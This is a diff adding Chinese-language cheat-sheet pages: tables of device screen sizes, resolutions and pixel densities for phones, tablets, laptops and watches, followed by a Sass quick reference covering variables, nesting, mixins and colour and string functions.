+| Samsung Note10+ (2019)             | 6.8 <sub>inch</sub>  | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub>  | 498 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub>  | Android 9.0   |
+| Samsung S6                         | 5.1 <sub>inch</sub>  | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub>  | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub>  | Android 5.0.2 |
+| Samsung S6 edge                    | 5.1 <sub>inch</sub>  | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub>  | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub>  | Android 5.0.2 |
+| Samsung S7                         | 5.1 <sub>inch</sub>  | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub>  | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub>  | Android 6.0   |
+| Samsung S7 edge                    | 5.5 <sub>inch</sub>  | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub>  | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub>  | Android 6.0   |
+| Sony Xperia X                      | 5 <sub>inch</sub>    | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub>  | 441 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub>   | Android 6.0.1 |
+| Sony Xperia XZ                     | 5.2 <sub>inch</sub>  | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub>  | 424 <sub>ppi</sub> | 141 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub>   | Android 6.0.1 |
+| Xiaomi Redmi Note 7 (2019)         | 6.3 <sub>inch</sub>  | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub>  | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub>  | Android 9.0   |
+| Xiaomi Redmi Note 8 (2019)         | 6.3 <sub>inch</sub>  | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub>  | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub>  | Android 9.0   |
+| Xiaomi Redmi Note 8 Pro (2019)     | 6.53 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub>  | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub>  | Android 9.0   |
+<!--rehype:className=show-header-->
+
+
+### 平板
+<!--rehype:wrap-class=col-span-3-->
+
+| 设备                  | 屏幕尺寸              | 解析度                     | 可视窗口                  | 密度                | 设备密度             | 比率                 | 系统             |
+|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
+| Apple iPad 10.2" (2019)     | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub>  | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub>   | iPadOS  13.1.2 |
+| Apple iPad 10.2" (2020)     | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub>  | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub>   | iPadOS  14     |
+| Apple iPad Air              | 9.7 <sub>inch</sub>  | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub>  | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7          |
+| Apple iPad Air 10.5" (2019) | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub>  | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub>   | iPadOS  13.1.2 |
+| Apple iPad Air 10.9" (2020) | 10.9 <sub>inch</sub> | 1640 x 2360 <sub>px</sub> | 820 x 1180 <sub>px</sub>  | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub>   | iPadOS  14     |
+| Apple iPad Air 2            | 9.7 <sub>inch</sub>  | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub>  | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1        |
+| Apple iPad Mini 7.9" (2019) | 7.9 <sub>inch</sub>  | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub>  | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2 <sub>xhdpi</sub>   | iPadOS  13.1.2 |
+| Apple iPad Pro              | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9          |
+| Apple iPad Pro 10.5 (2017)  | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub>  | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 11         |
+| Apple iPad Pro 11" (2018)   | 11 <sub>inch</sub>   | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub>  | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub>   | iPadOS  13.1.2 |
+| Apple iPad Pro 11" (2020)   | 11 <sub>inch</sub>   | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub>  | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub>   | iPadOS  13.4   |
+| Apple iPad Pro 12.9" (2018) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub>   | iPadOS  13.1.2 |
+| Apple iPad Pro 12.9" (2020) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub>   | iPadOS  13.4   |
+| Apple iPad Pro 9.7          | 9.7 <sub>inch</sub>  | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub>  | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9.3.2      |
+| Apple iPad Pro 9.7 (2017)   | 9.7 <sub>inch</sub>  | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub>  | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 10.3       |
+| Apple iPad mini 3           | 7.9 <sub>inch</sub>  | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub>  | 324 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9          |
+| Apple iPad mini 4           | 7.9 <sub>inch</sub>  | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub>  | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1        |
+| Google Pixel C (2015)       | 10.2 <sub>inch</sub> | 2560x1800 <sub>px</sub>   | 1280 x 900 <sub>px</sub>  | 308 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2 <sub>xhdpi</sub>   | Android 6.0.1  |
+<!--rehype:className=show-header-->
+
+
+### 笔记本电脑
+<!--rehype:wrap-class=col-span-3-->
+
+| 设备                  | 屏幕尺寸              | 解析度                     | 可视窗口                  | 密度                | 设备密度             | 比率                 | 系统             |
+|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
+| MacBook 2015 12"     | 12 <sub>inch</sub>   | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra    |
+| MacBook 2016 12"     | 12 <sub>inch</sub>   | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra    |
+| MacBook 2017 12"     | 12 <sub>inch</sub>   | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra    |
+| MacBook Air 2014 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub>  | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub>  | OS X Mavericks  |
+| MacBook Air 2014 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub>  | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub>  | OS X Mavericks  |
+| MacBook Air 2015 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub>  | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub>  | OS X El Capitan |
+| MacBook Air 2015 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub>  | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub>  | macOS Sierra    |
+| MacBook Air 2017 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub>  | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub>  | macOS Mojave    |
+| MacBook Air 2018 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave    |
+| MacBook Air 2020 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 114 <sub>ppi</sub> | 2 <sub>xhdpi</sub>   | macOS Catalina  |
+| MacBook Pro 13" 2018 | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave    |
+| MacBook Pro 15" 2018 | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave    |
+| MacBook Pro 16" 2019 | 16 <sub>inch</sub>   | 3072 x 1920 <sub>px</sub> | 1536 x 960 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Catalina  |
+| MacBook Pro 2014 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra    |
+| MacBook Pro 2014 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra    |
+| MacBook Pro 2015 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra    |
+| MacBook Pro 2015 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra    |
+| MacBook Pro 2016 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra    |
+| MacBook Pro 2016 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra    |
+| MacBook Pro 2017 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra    |
+| MacBook Pro 2017 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra    |
+<!--rehype:className=show-header-->
+
+### 智能手表
+<!--rehype:wrap-class=col-span-3-->
+
+| 设备                  | 屏幕尺寸              | 解析度                     | 可视窗口                  | 密度                | 设备密度             | 比率                 | 系统             |
+|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
+| Apple Watch SE (40mm) (2020)        | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  | watchOS 7.0                      |
+| Apple Watch SE (44mm) (2020)        | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  | watchOS 7.0                      |
+| Apple Watch Series 3 (38mm)         | 1.5 <sub>inch</sub>  | 340 x 272 <sub>px</sub> | 170 x 136 <sub>px</sub> | 290 <sub>ppi</sub> | 145 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  | watchOS 4.0                      |
+| Apple Watch Series 3 (42mm)         | 1.65 <sub>inch</sub> | 390 x 312 <sub>px</sub> | 195 x 156 <sub>px</sub> | 303 <sub>ppi</sub> | 152 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  | watchOS 4.0                      |
+| Apple Watch Series 4 (40mm)         | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  | watchOS 5.0                      |
+| Apple Watch Series 4 (44mm)         | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  | watchOS 5.0                      |
+| Apple Watch Series 5 (40mm)  (2019) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  | watchOS 6.0                      |
+| Apple Watch Series 5 (44mm)  (2019) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  | watchOS 6.0                      |
+| Apple Watch Series 6 (40mm)  (2020) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  | watchOS 7.0                      |
+| Apple Watch Series 6 (44mm)  (2020) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  | watchOS 7.0                      |
+| Asus Zenwatch 2 (2015)              | 1.63 <sub>inch</sub> | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> |                                  |
+| Asus Zenwatch 3 (2016)              | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1              |
+| Asus Zenwatch 3 (2016)              | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1              |
+| Huawei Watch GT (2018)              | 1.39 <sub>inch</sub> | 454 x 454 <sub>px</sub> | 227 x 227 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  |                                  |
+| Huawei Watch Magic (2018)           | 1.2 <sub>inch</sub>  | 390 x 390 <sub>px</sub> | 195 x 195 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  |                                  |
+| LG G Watch R (2015)                 | 1.3 <sub>inch</sub>  | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 245 <sub>ppi</sub> | 163 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 1.0              |
+| LG Watch Sport (2017)               | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  | Android Wear 2.0                 |
+| LG Watch Urbane 2nd Edition (2016)  | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub>  | Android Wear 2.0                 |
+| LG Watch W7 (2018)                  | 1.2 <sub>inch</sub>  | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 300 <sub>ppi</sub> | 200 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.0              |
+| Samsung Galaxy Watch (2018)         | 1.3 <sub>inch</sub>  | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Tizen-based <br/>wearable OS 4.0 |
+<!--rehype:className=show-header-->
+
+### 常见的显示分辨率（N/A = 不适用）
+<!--rehype:wrap-class=col-span-2 row-span-2-->
+
+标准 | 纵横比 | 可视窗口 | 百万像素 | Steam(%) | Stat Counter(%)
+:- |:- |:- |:- |:- |:- |
+`nHD` | 16:9 | 640 x 360 <sub>px</sub> | 0.230 | N/A | 0.47
+`SVGA` | 4:3 | 800 x 600 <sub>px</sub> | 0.480 | N/A | 0.76
+`XGA` | 4:3 | 1024 x 768 <sub>px</sub> | 0.786 | 0.38 | 2.78
+`WXGA` | 16:9 | 1280 x 720 <sub>px</sub> | 0.922 | 0.36 | 4.82
+`WXGA` | 16:10 | 1280 x 800 <sub>px</sub> | 1.024 | 0.61 | 3.08
+`SXGA` | 5:4 | 1280 x 1024 <sub>px</sub> | 1.311 | 1.24 | 2.47
+`HD` | ≈16:9 | 1360 x 768 <sub>px</sub> | 1.044 | 1.55 | 1.38
+`HD` | ≈16:9 | 1366 x 768 <sub>px</sub> | 1.049 | 10.22 | 23.26
+`WXGA+` | 16:10 | 1440 x 900 <sub>px</sub> | 1.296 | 3.12 | 6.98
+N/A | 16:9 | 1536 x 864 <sub>px</sub> | 1.327 | N/A | 8.5
+`HD+` | 16:9 | 1600 x 900 <sub>px</sub> | 1.440 | 2.59 | 4.14
+`WSXGA+` | 16:10 | 1680 x 1050 <sub>px</sub> | 1.764 | 1.97 | 2.23
+`FHD` | 16:9 | 1920 x 1080 <sub>px</sub> | 2.074 | 64.81 | 20.41
+`WUXGA` | 16:10 | 1920 x 1200 <sub>px</sub> | 2.304 | 0.81 | 0.93
+`QWXGA` | 16:9 | 2048 x 1152 <sub>px</sub> | 2.359 | N/A | 0.51 
+`QXGA` |  4:3 | 2048 x 1536 <sub>px</sub> | 3.145 | - | -
+`UWFHD` | ≈21:9 | 2560 x 1080 <sub>px</sub> | 2.765 | 1.13 | N/A 
+`QHD` | 16:9 | 2560 x 1440 <sub>px</sub> | 3.686 | 6.23 | 2.15 
+`WQXGA` | 16:10 | 2560 x 1600 <sub>px</sub> | 4.096 | &lt;0.58 | &lt;2.4 
+`UWQHD` | ≈21:9 | 3440 x 1440 <sub>px</sub> | 4.954 | 0.87 | N/A 
+`4K UHD`| 16:9 | 3840 x 2160 <sub>px</sub> | 8.294 | 2.12 | N/A 
+`Other` | - | - | - | 2.00 | 15.09
+<!--rehype:className=show-header-->
+
+### 屏幕分辨率
+
+解析度 | 像素
+:- |:- 
+`540p / qHD` | 960×540<sub>px</sub>
+`720p / HD` | 1280×720<sub>px</sub>
+`1080p / Full HD / FHD` | 19201080<sub>px</sub>
+`2K` | 2048×1080<sub>px</sub>
+`1440p / QHD / QuadHD / WQHD` | 2560×1440<sub>px</sub>
+`2160p / UHD` | 3840×2160<sub>px</sub>
+`4K` | 4096×2160<sub>px</sub>
+`5K` | 5120×2880<sub>px</sub>
+`8K / 8K UHD` | 7680×4320<sub>px</sub>
+
+### 显示分辨率和用例
+
+解析度名称 | 设备
+:- |:-
+`8K` _(8K UHD)_ | `TVs`
+`“Cinema” 4K` _(4K)_ | 投影仪
+`UHD` _(4K, Ultra HD, Ultra-High Definition)_ | `TVs`, 监视器, 智能手机
+`2K` _(none)_ | 投影仪
+`WUXGA` _(Widescreen Ultra Extended Graphics Array)_ | 监视器, 投影仪
+`1080p` _(Full HD, FHD, HD, High Definition)_ | `TVs`, 监视器, 智能手机
+`720p` _(HD, High Definition)_ `TVs`, 智能手机
+<!--rehype:className=style-list-arrow-->
+
+另见
+---
+
+- [通用解析度列表](https://en.wikipedia.org/wiki/List_of_common_resolutions) _(en.wikipedia.org)_
+- [显示屏分辨率](https://en.wikipedia.org/wiki/Display_resolution) _(en.wikipedia.org)_

docs/sass.md

@@ -0,0 +1,620 @@
+Sass
+===
+
+这是一份快速参考备忘单，列出了 [SASS](https://sass-lang.com) 最有用的功能。
+
+Sass 基础
+--------
+
+### 介绍
+<!--rehype:wrap-class=row-span-2-->
+
+- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
+- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_
+
+Sass 是一种 CSS 的预编译语言
+
+```bash
+$ npm install -g sass
+```
+
+在 Node.js 环境中使用 Sass
+
+```bash
+$ sass source/index.scss build/index.css
+$ sass --watch input.scss output.css
+$ sass --watch app/sass:public/css
+```
+
+### 变量
+
+```scss
+$defaultLinkColor: #46EAC2;
+a {
+  color: $defaultLinkColor;
+}
+```
+
+### 字符串插值
+
+```scss
+$wk: -webkit-;
+.rounded-box {
+  #{$wk}border-radius: 4px;
+}
+```
+
+### 注释
+
+```scss
+/*
+ 这是多行注释
+ 块注释
+ 块注释
+*/
+// 这是一条单行注释
+```
+
+### Extend
+
+```scss
+.button {
+  ···
+}
+.push-button {
+  @extend .button;
+}
+```
+
+### 嵌套(Nesting)
+<!--rehype:wrap-class=row-span-2-->
+
+```scss
+nav {
+  ul {
+    padding: 0;
+    list-style: none;
+  }
+  li { display: inline-block; }
+  a {
+    display: block;
+  }
+}
+```
+
+编译 css 为：
+
+```scss
+nav ul {
+  padding: 0;
+  list-style: none;
+}
+nav li {
+  display: inline-block;
+}
+nav a {
+  display: block;
+}
+```
+
+### 模块（片段）
+<!--rehype:wrap-class=row-span-2-->
+
+```scss
+// _base.scss
+$font-stack:    Helvetica, sans-serif;
+$primary-color: #333;
+```
+
+注意以下划线开头的 Sass 文件
+
+```scss
+// styles.scss
+@use 'base';
+
+.inverse {
+  background-color: base.$primary-color;
+  color: white;
+}
+```
+
+编译 css 为：
+
+```css
+.inverse {
+  background-color: #333;
+  color: white;
+}
+```
+
+### 混合(Mixins)
+
+```scss
+@mixin heading-font {
+    font-family: sans-serif;
+    font-weight: bold;
+}
+h1 {
+    @include heading-font;
+}
+```
+
+查看: [混合(Mixins)](#sass-混合mixins)
+
+### @import
+
+```scss
+@import './other_sass_file';
+@import '/code', 'lists';
+// 纯 CSS @imports
+@import "theme.css";
+@import url(theme);
+```
+
+`.sass` 或 `.sass` 扩展名是可选的。
+
+Sass 混合(Mixins)
+------
+
+
+### 参数
+
+```scss
+@mixin font-size($n) {
+  font-size: $n * 1.2em;
+}
+```
+
+----
+
+```scss
+body {
+  @include font-size(2);
+}
+```
+
+### 默认值
+
+```scss
+@mixin pad($n: 10px) {
+    padding: $n;
+}
+```
+
+----
+
+```scss
+body {
+    @include pad(15px);
+}
+```
+
+### 默认变量
+
+```scss
+$default-padding: 10px;
+@mixin pad($n: $default-padding) {
+  padding: $n;
+}
+body {
+  @include pad(15px);
+}
+```
+
+Sass 颜色函数
+--------
+<!--rehype:body-class=cols-2-->
+
+### rgba
+
+```scss
+rgb(100, 120, 140)
+rgba(100, 120, 140, .5)
+rgba($color, .5)
+```
+
+### Mixing
+
+```scss
+mix($a, $b, 10%)   // 10% a, 90% b
+```
+
+### 修改 HSLA
+
+```scss
+darken($color, 5%)
+lighten($color, 5%)
+```
+
+```scss
+saturate($color, 5%)
+desaturate($color, 5%)
+grayscale($color)
+```
+
+```scss
+adjust-hue($color, 15deg)
+complement($color)    // like adjust-hue(_, 180deg)
+invert($color)
+```
+
+```scss
+fade-in($color, .5)   // aka opacify()
+fade-out($color, .5)  // aka transparentize()
+rgba($color, .5)      // sets alpha to .5
+```
+
+### 获取值
+<!--rehype:wrap-class=row-span-2-->
+
+#### HSLA
+
+```scss
+hue($color)         // 0deg..360deg
+saturation($color)  // 0%..100%
+lightness($color)   // 0%..100%
+alpha($color)       // 0..1 (aka opacity())
+```
+
+#### RGB
+
+```scss
+red($color)         // 0..255
+green($color)
+blue($color)
+```
+
+---
+
+:- | :-
+:- | :-
+`color.red()` | 用于获取颜色的红色通道
+`color.green()` | 用于获得颜色的绿色通道
+`color.blue()` | 用于获取颜色的蓝色通道
+`color.hue()` | 以获得颜色的色调
+`color.saturation()` | 用于获得颜色的饱和度
+`color.lightness()` | 以获得颜色的亮度
+
+另见: [hue()](http://sass-lang.com/documentation/Sass/Script/Functions.html#hue-instance_method), [red()](http://sass-lang.com/documentation/Sass/Script/Functions.html#red-instance_method)
+
+### Sass 内置了对颜色值的支持
+
+```scss
+@debug rgb(204, 102, 153);  // #c69
+@debug rgba(107, 113, 127, 0.8); // rgba(107, 113, 127, 0.8)
+@debug hsl(228, 7%, 86%);        // #dadbdf
+@debug hsla(20, 20%, 85%, 0.7);  // rgb(225, 215, 210, 0.7)
+```
+
+### 调整
+
+```scss
+// 固定金额变动
+adjust-color($color, $blue: 5)
+adjust-color($color, $lightness: -30%) // darken(_, 30%)
+adjust-color($color, $alpha: -0.4)     // fade-out(_, .4)
+adjust-color($color, $hue: 30deg)      // adjust-hue(_, 15deg)
+// 通过百分比变化
+scale-color($color, $lightness: 50%)
+// 完全改变一个属性
+change-color($color, $hue: 180deg)
+change-color($color, $blue: 250)
+```
+
+支持的: `$red`, `$green`, `$blue`, `$hue`, `$saturation`, `$lightness`, `$alpha`
+
+Sass 其他函数
+--------
+
+### 字符串
+<!--rehype:wrap-class=row-span-2-->
+
+```scss
+unquote('hello')
+quote(bold); // "bold"
+```
+
+```scss
+to-upper-case(hello)
+to-lower-case(hello)
+```
+
+----
+
+```scss
+str-length(hello world)
+// "ello" - 它是从 1 开始的，而不是从 0 开始的
+str-slice(hello, 2, 5)
+str-insert("abcd", "X", 1) // "Xabcd"
+```
+
+### Numbers
+<!--rehype:wrap-class=row-span-2-->
+
+```scss
+floor(4.2)  // 4
+ceil(4.2)   // 5
+round(4.2)  // 4
+abs(-10px) // 10px
+```
+
+----
+
+```scss
+min(1px, 4px)  // 1px
+$widths: 50px, 30px, 100px
+@debug math.min($widths...)  // 30px
+```
+
+----
+
+```scss
+percentage(.5)   // 50%
+random(3)        // 0..3
+```
+
+### Units
+
+```scss
+unit(3em)        // 'em'
+unitless(100px)  // false
+```
+
+### Units
+
+```scss
+unit(3em)        // 'em'
+unitless(100px)  // false
+```
+
+### Misc
+
+```scss
+// 检查 $red
+variable-exists(red)
+// 检查@mixin red-text
+mixin-exists(red-text)
+function-exists(redify)
+```
+
+----
+
+```scss
+global-variable-exists(red)
+```
+
+----
+
+```scss
+// .menu li a
+selector-append('.menu', 'li', 'a')
+// .menu:hover li
+selector-nest('.menu', '&:hover li')
+selector-extend(...)
+selector-parse(...)
+selector-replace(...)
+selector-unify(...)
+```
+
+Sass 功能检查
+--------
+<!--rehype:body-class=cols-2-->
+
+### 功能检查
+
+```scss
+meta.feature-exists($feature)
+feature-exists($feature) //=> boolean
+```
+
+----
+
+```scss
+@mixin debug-content-exists {
+  @debug meta.content-exists();
+  @content;
+}
+
+@include debug-content-exists; // false
+@include debug-content-exists { // true
+  // Content!
+}
+```
+
+### 功能
+
+:- | :-
+:- | :-
+`global-variable-shadowing` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着局部变量将隐藏全局变量，除非它具有 `!global` 标志
